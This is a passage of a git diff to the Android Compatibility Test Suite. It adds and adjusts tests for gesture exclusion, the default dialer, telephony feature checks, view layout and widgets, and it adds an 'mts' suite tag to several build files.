+    private void setSystemUiVisibility(int flags) throws InterruptedException {
+        final CountDownLatch flagsApplied = new CountDownLatch(1);
+        final int targetFlags = SYSTEM_UI_CLEARABLE_FLAGS & flags;
+        mainThreadRun(() -> {
+            final View view = mActivity.getWindow().getDecorView();
+            if ((view.getSystemUiVisibility() & SYSTEM_UI_CLEARABLE_FLAGS) == targetFlags) {
+                // System UI visibility is already what we want. Stop waiting for the callback.
+                flagsApplied.countDown();
+                return;
+            }
+            view.setOnSystemUiVisibilityChangeListener(visibility -> {
+                if (visibility == targetFlags) {
+                    flagsApplied.countDown();
+                }
+            });
+            view.setSystemUiVisibility(flags);
+        });
+        assertTrue("System UI visibility must be applied.", flagsApplied.await(3, SECONDS));
+    }
+
+    /**
+     * Set an exclusion rectangle and wait for it is applied by the system.
+     * <p>
+     *     if the parameter rect doesn't provide or is null, the decorView will be used to set into
+     *     the exclusion rects.
+     * </p>
+     *
+     * @param rect the rectangle that is added into the system gesture exclusion rects.
+     * @throws InterruptedException when the test gets aborted.
+     */
+    private void setAndWaitForSystemGestureExclusionRectsListenerTrigger(Rect rect)
+            throws InterruptedException {
+        final CountDownLatch exclusionApplied = new CountDownLatch(1);
+        mainThreadRun(() -> {
+            final View view = mActivity.getWindow().getDecorView();
+            final ViewTreeObserver vto = view.getViewTreeObserver();
+            vto.addOnSystemGestureExclusionRectsChangedListener(
+                    rects -> exclusionApplied.countDown());
+            Rect exclusiveRect = new Rect(0, 0, view.getWidth(), view.getHeight());
+            if (rect != null) {
+                exclusiveRect = rect;
+            }
+            view.setSystemGestureExclusionRects(Lists.newArrayList(exclusiveRect));
+        });
+        assertTrue("Exclusion must be applied.", exclusionApplied.await(3, SECONDS));
+    }
+
+    private void swipeFromLeftToRight(int y, int distance) {
+        mDevice.swipe(0, y, distance, y, STEPS);
+    }
+
+    private static int getPropertyOfMaxExclusionHeight() {
+        final int[] originalLimitDp = new int[1];
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            originalLimitDp[0] = DeviceConfig.getInt(NAMESPACE_WINDOW_MANAGER,
+                    KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP, -1);
+            DeviceConfig.setProperty(
+                    NAMESPACE_WINDOW_MANAGER,
+                    KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
+                    Integer.toString(EXCLUSION_LIMIT_DP), false /* makeDefault */);
+        });
+
+        return originalLimitDp[0];
+    }
+
+    /**
+     * Run the given task while the system gesture exclusion limit has been changed to
+     * {@link #EXCLUSION_LIMIT_DP}, and then restore the value while the task is finished.
+     *
+     * @param task the task to be run.
+     * @throws Throwable when something goes unexpectedly.
+     */
+    private static void doInExclusionLimitSession(ThrowingRunnable task) throws Throwable {
+        int originalLimitDp = getPropertyOfMaxExclusionHeight();
+        try {
+            task.run();
+        } finally {
+            // Restore the value
+            SystemUtil.runWithShellPermissionIdentity(() -> DeviceConfig.setProperty(
+                    NAMESPACE_WINDOW_MANAGER,
+                    KEY_SYSTEM_GESTURE_EXCLUSION_LIMIT_DP,
+                    (originalLimitDp != -1) ? Integer.toString(originalLimitDp) : null,
+                    false /* makeDefault */));
+        }
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 1abef13..6ae927b 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -41,6 +41,8 @@
 import android.telecom.cts.redirectiontestapp.ICtsCallRedirectionServiceController;
 import android.text.TextUtils;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
@@ -194,6 +196,7 @@
     /**
      * Use RoleManager to query the previous call redirection app so we can restore it later.
      */
+    @CddTest(requirement ="3.2.3.5/C-2-5")
     private void rememberPreviousCallRedirectionApp() {
         runWithShellPermissionIdentity(() -> {
             List<String> callRedirectionApps = mRoleManager.getRoleHolders(ROLE_CALL_REDIRECTION);
@@ -205,6 +208,7 @@
         });
     }
 
+    @CddTest(requirement="3.2.3.5/C-2-4")
     private void addRoleHolder(String roleName, String packageName) throws Exception {
         UserHandle user = Process.myUserHandle();
         Executor executor = mContext.getMainExecutor();
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index cc64987..a73737f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -19,13 +19,20 @@
 import android.content.ComponentName;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.provider.VoicemailContract.Voicemails;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.List;
 
 
@@ -33,8 +40,13 @@
  * Verifies that certain privileged operations can only be performed by the default dialer.
  */
 public class DefaultDialerOperationsTest extends InstrumentationTestCase {
+    private static final int ACTIVITY_LAUNCHING_TIMEOUT_MILLIS = 20000;  // 20 seconds
+    private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+
     private Context mContext;
+    private UiDevice mUiDevice;
     private TelecomManager mTelecomManager;
+    private PackageManager mPackageManager;
     private PhoneAccountHandle mPhoneAccountHandle;
     private String mPreviousDefaultDialer = null;
     private String mSystemDialer = null;
@@ -43,6 +55,7 @@
     protected void setUp() throws Exception {
         super.setUp();
         mContext = getInstrumentation().getContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -55,6 +68,7 @@
             TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
         }
         mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+        mPackageManager = mContext.getPackageManager();
         final List<PhoneAccountHandle> accounts = mTelecomManager.getCallCapablePhoneAccounts();
         if (accounts != null && !accounts.isEmpty()) {
             mPhoneAccountHandle = accounts.get(0);
@@ -80,6 +94,48 @@
         assertEquals(TestUtils.PACKAGE, mTelecomManager.getDefaultDialerPackage());
     }
 
+    /** Default dialer should be the default package handling ACTION_DIAL. */
+    public void testActionDialHandling() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertEquals(info.activityInfo.packageName, mTelecomManager.getDefaultDialerPackage());
+    }
+
+    /** The package handling Intent ACTION_DIAL should be the same package showing the UI. */
+    public void testDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(Intent.ACTION_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertTrue(info != null); // Default dialer should always handle it
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
+    /** The package handling Intent emergency dail should be the same package showing the UI. */
+    public void testEmergencyDialerUI() throws Exception {
+        if (!TestUtils.shouldTestTelecom(mContext)) {
+            return;
+        }
+        // Find which package handling the intent
+        Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+        ResolveInfo info =
+                mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+        if (info == null) {
+            // Skip the test if no package handles ACTION_EMERGENCY_DIAL
+            return;
+        }
+
+        verifySamePackageForIntentHandlingAndUI(intent, info);
+    }
+
     public void testVoicemailReadWritePermissions() throws Exception {
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
@@ -194,11 +250,12 @@
         if (!TestUtils.shouldTestTelecom(mContext)) {
             return;
         }
-        final PackageManager pm = mContext.getPackageManager();
         final ComponentName name = new ComponentName(mContext,
                 "android.telecom.cts.MockDialerActivity");
         try {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
                     PackageManager.DONT_KILL_APP);
             TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
             final String result = TestUtils.getDefaultDialer(getInstrumentation());
@@ -206,7 +263,9 @@
             assertTrue("Expected failure indicating that this was not an installed dialer app",
                     result.contains("is not an installed Dialer app"));
         } finally {
-            pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+            mPackageManager.setComponentEnabledSetting(
+                    name,
+                    PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
                     PackageManager.DONT_KILL_APP);
         }
 
@@ -229,4 +288,24 @@
         String reportedDialer = mTelecomManager.getSystemDialerPackage();
         assertEquals(mSystemDialer, reportedDialer);
     }
+
+    private void verifySamePackageForIntentHandlingAndUI(Intent intent, ResolveInfo info) {
+        String packageName = info.activityInfo.packageName;
+        assertTrue(!TextUtils.isEmpty(packageName));
+
+        mUiDevice.pressHome();
+        mUiDevice.waitForIdle();
+        try {
+            mContext.startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+
+            // The package handles the intent should be foreground
+            mUiDevice.wait(
+                    Until.hasObject(By.pkg(packageName).depth(0)),
+                    ACTIVITY_LAUNCHING_TIMEOUT_MILLIS);
+            mUiDevice.waitForIdle();
+        } finally {
+            mUiDevice.pressHome();
+            mUiDevice.waitForIdle();
+        }
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 3ef4ff2..39a9346 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -42,6 +42,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Looper;
 import android.os.PersistableBundle;
@@ -63,6 +64,7 @@
     private static final String CARRIER_NAME_OVERRIDE = "carrier_a";
     private CarrierConfigManager mConfigManager;
     private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
     private static final int TOLERANCE = 2000;
     private final Object mLock = new Object();
 
@@ -72,6 +74,7 @@
                 getContext().getSystemService(Context.TELEPHONY_SERVICE);
         mConfigManager = (CarrierConfigManager)
                 getContext().getSystemService(Context.CARRIER_CONFIG_SERVICE);
+        mPackageManager = getContext().getPackageManager();
     }
 
     @After
@@ -142,6 +145,9 @@
     @SecurityTest
     @Test
     public void testRevokePermission() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         PersistableBundle config;
 
         try {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 52ed059..c81240d 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -169,6 +169,9 @@
 
     @Test
     public void testDivideMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         ArrayList<String> dividedMessages = divideMessage(LONG_TEXT);
         assertNotNull(dividedMessages);
         if (TelephonyUtils.isSkt(mTelephonyManager)) {
@@ -184,6 +187,9 @@
 
     @Test
     public void testDivideUnicodeMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         ArrayList<String> dividedMessages = divideMessage(LONG_TEXT_WITH_32BIT_CHARS);
         assertNotNull(dividedMessages);
         assertTrue(isComplete(dividedMessages, 3, LONG_TEXT_WITH_32BIT_CHARS));
@@ -437,6 +443,9 @@
 
     @Test
     public void testContentProviderAccessRestriction() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
         Uri dummySmsUri = null;
         Context context = getInstrumentation().getContext();
         ContentResolver contentResolver = context.getContentResolver();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 0832528..6803431 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -43,6 +43,8 @@
 import android.telephony.SubscriptionPlan;
 import android.telephony.TelephonyManager;
 
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.internal.util.ArrayUtils;
@@ -66,8 +68,6 @@
 import java.util.function.Predicate;
 import java.util.stream.Collectors;
 
-import androidx.test.InstrumentationRegistry;
-
 public class SubscriptionManagerTest {
     private SubscriptionManager mSm;
 
@@ -550,10 +550,11 @@
             }
         };
 
-        int [] subList = mSm.getActiveSubscriptionIdList();
+        List<SubscriptionInfo> subscriptionInfos = mSm.getActiveSubscriptionInfoList();
         boolean changes = false;
 
-        for (int subId : subList) {
+        for (SubscriptionInfo subInfo : subscriptionInfos) {
+            int subId = subInfo.getSubscriptionId();
             if (subId != preferredSubId) {
                 int newPreferredSubId = subId;
                 // Change to a new value.
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 3a72a80..807ef0c 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -1229,6 +1229,10 @@
      */
     @Test
     public void testGetUiccCardsInfo() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires FEATURE_TELEPHONY");
+            return;
+        }
         try {
             // Requires READ_PRIVILEGED_PHONE_STATE or carrier privileges
             List<UiccCardInfo> infos = mTelephonyManager.getUiccCardsInfo();
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index bd65797..9316ee8a 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -41,5 +41,6 @@
         "vts",
         "general-tests",
         "cts_instant",
+        "mts",
     ],
 }
diff --git a/tests/tests/view/res/layout/view_layout.xml b/tests/tests/view/res/layout/view_layout.xml
index 866ac57..7f4264f 100644
--- a/tests/tests/view/res/layout/view_layout.xml
+++ b/tests/tests/view/res/layout/view_layout.xml
@@ -26,8 +26,8 @@
 
     <android.view.cts.MockView
         android:id="@+id/mock_view"
-        android:layout_width="100dp"
-        android:layout_height="75dp"/>
+        android:layout_width="75dp"
+        android:layout_height="100dp"/>
 
     <android.view.cts.MockView
         android:id="@+id/scroll_view"
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index c7297f1..a934986 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -2044,8 +2044,8 @@
         final MockView view = (MockView) mActivity.findViewById(R.id.mock_view);
 
         float density = view.getContext().getResources().getDisplayMetrics().density;
-        int size1 = (int) (100 * density + 0.5);
-        int size2 = (int) (75 * density + 0.5);
+        int size1 = (int) (75 * density + 0.5);
+        int size2 = (int) (100 * density + 0.5);
 
         assertTrue(view.hasCalledOnMeasure());
         assertEquals(size1, view.getMeasuredWidth());
@@ -2750,8 +2750,8 @@
         Rect rect = new Rect();
 
         float density = view.getContext().getResources().getDisplayMetrics().density;
-        int size1 = (int) (100 * density + 0.5);
-        int size2 = (int) (75 * density + 0.5);
+        int size1 = (int) (75 * density + 0.5);
+        int size2 = (int) (100 * density + 0.5);
 
         assertTrue(view.getLocalVisibleRect(rect));
         assertEquals(0, rect.left);
diff --git a/tests/tests/view/src/android/view/cts/View_DragShadowBuilderTest.java b/tests/tests/view/src/android/view/cts/View_DragShadowBuilderTest.java
new file mode 100644
index 0000000..b2b896f
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/View_DragShadowBuilderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Canvas;
+import android.graphics.Point;
+import android.view.View.DragShadowBuilder;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link DragShadowBuilder}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_DragShadowBuilderTest {
+    private DragShadowBuilder mBuilder;
+    private MockView mView;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() {
+        mView = new MockView(mActivityRule.getActivity());
+        mBuilder = new DragShadowBuilder(mView);
+    }
+
+    @Test
+    public void testConstructor() {
+        new DragShadowBuilder(mView);
+
+        new DragShadowBuilder();
+    }
+
+    @Test
+    public void testGetView() {
+        assertSame(mView, mBuilder.getView());
+    }
+
+    @Test
+    public void testOnProvideShadowMetrics() {
+        Point outShadowSize = new Point();
+        Point outShadowTouchPoint = new Point();
+
+        mView.setLeftTopRightBottom(0, 0, 50, 50);
+        mBuilder.onProvideShadowMetrics(outShadowSize, outShadowTouchPoint);
+
+        assertEquals(mView.getWidth(), outShadowSize.x);
+        assertEquals(mView.getHeight(), outShadowSize.y);
+
+        assertEquals(outShadowSize.x / 2, outShadowTouchPoint.x);
+        assertEquals(outShadowSize.y / 2, outShadowTouchPoint.y);
+    }
+
+    @Test
+    public void testOnDrawShadow() {
+        Canvas canvas = new Canvas();
+        mBuilder.onDrawShadow(canvas);
+
+        assertTrue(mView.hasCalledOnDraw());
+    }
+}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index d62411b..afc9d6c 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -127,11 +127,21 @@
     }
 
     @Test
+    public void testSuggestSelectionWith4Param() {
+        assertValidResult(mClassifier.suggestSelection(TEXT, START, END, LOCALES));
+    }
+
+    @Test
     public void testClassifyText() {
         assertValidResult(mClassifier.classifyText(TEXT_CLASSIFICATION_REQUEST));
     }
 
     @Test
+    public void testClassifyTextWith4Param() {
+        assertValidResult(mClassifier.classifyText(TEXT, START, END, LOCALES));
+    }
+
+    @Test
     public void testNoOpClassifier() {
         mManager.setTextClassifier(TextClassifier.NO_OP);
         mClassifier = mManager.getTextClassifier();
diff --git a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
index 84a7999..9c9217b 100644
--- a/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
+++ b/tests/tests/view/surfacevalidator/src/android/view/cts/surfacevalidator/CapturedActivity.java
@@ -46,6 +46,7 @@
 import android.view.Display;
 import android.view.PointerIcon;
 import android.view.View;
+import android.view.WindowManager;
 import android.widget.FrameLayout;
 
 import androidx.test.InstrumentationRegistry;
@@ -104,6 +105,8 @@
         // Set the NULL pointer icon so that it won't obstruct the captured image.
         getWindow().getDecorView().setPointerIcon(
                 PointerIcon.getSystemIcon(this, PointerIcon.TYPE_NULL));
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+
 
         mProjectionManager =
                 (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
diff --git a/tests/tests/widget/src/android/widget/cts/SpaceTest.java b/tests/tests/widget/src/android/widget/cts/SpaceTest.java
new file mode 100644
index 0000000..39da93f
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/SpaceTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.view.View;
+import android.widget.Space;
+
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link Space}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SpaceTest {
+    private Activity mActivity;
+    private Space mSpace;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule =
+            new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mSpace = new Space(mActivity);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new Space(mActivity);
+
+        new Space(mActivity, null);
+
+        new Space(mActivity, null, 0);
+
+        new Space(mActivity, null, 0, android.R.style.Widget);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInvisibleDefault() {
+        assertEquals(View.INVISIBLE, mSpace.getVisibility());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testDrawNothing() {
+        Bitmap bitmap = Bitmap.createBitmap(200, 200, Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bitmap);
+        Bitmap expected = bitmap.copy(Bitmap.Config.ARGB_8888, false);
+        mSpace.measure(100, 100);
+        mSpace.layout(0, 0, 100, 100);
+        mSpace.draw(canvas);
+        WidgetTestUtils.assertEquals(expected, bitmap);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testMeasureSpecs() {
+        mSpace.setMinimumWidth(100);
+        mSpace.setMinimumHeight(100);
+
+        mSpace.measure(View.MeasureSpec.UNSPECIFIED, View.MeasureSpec.UNSPECIFIED);
+        assertEquals(100, mSpace.getMeasuredWidth());
+        assertEquals(100, mSpace.getMeasuredHeight());
+
+        mSpace.measure(200 | View.MeasureSpec.AT_MOST,
+                200 | View.MeasureSpec.AT_MOST);
+        assertEquals(100, mSpace.getMeasuredWidth());
+        assertEquals(100, mSpace.getMeasuredHeight());
+
+        mSpace.measure(200 | View.MeasureSpec.EXACTLY,
+                200 | View.MeasureSpec.EXACTLY);
+        assertEquals(200, mSpace.getMeasuredWidth());
+        assertEquals(200, mSpace.getMeasuredHeight());
+    }
+}
diff --git a/tools/cts-device-info/Android.mk b/tools/cts-device-info/Android.mk
index 4715f52..495edb3 100644
--- a/tools/cts-device-info/Android.mk
+++ b/tools/cts-device-info/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceInfo
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts cts_instant mts
 
 include $(BUILD_CTS_DEVICE_INFO_PACKAGE)
 
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index da8e11f..dc53d6b 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_MODULE_CLASS := FAKE
 LOCAL_IS_HOST_MODULE := true
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests vts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests vts mts
 
 # my_test_config_file := DynamicConfig.xml
 # TODO (sbasi): Update to use BUILD_HOST_TEST_CONFIG when it's primary install
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index 37b7e2e..400dac7 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -31,6 +31,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "test_current",
 }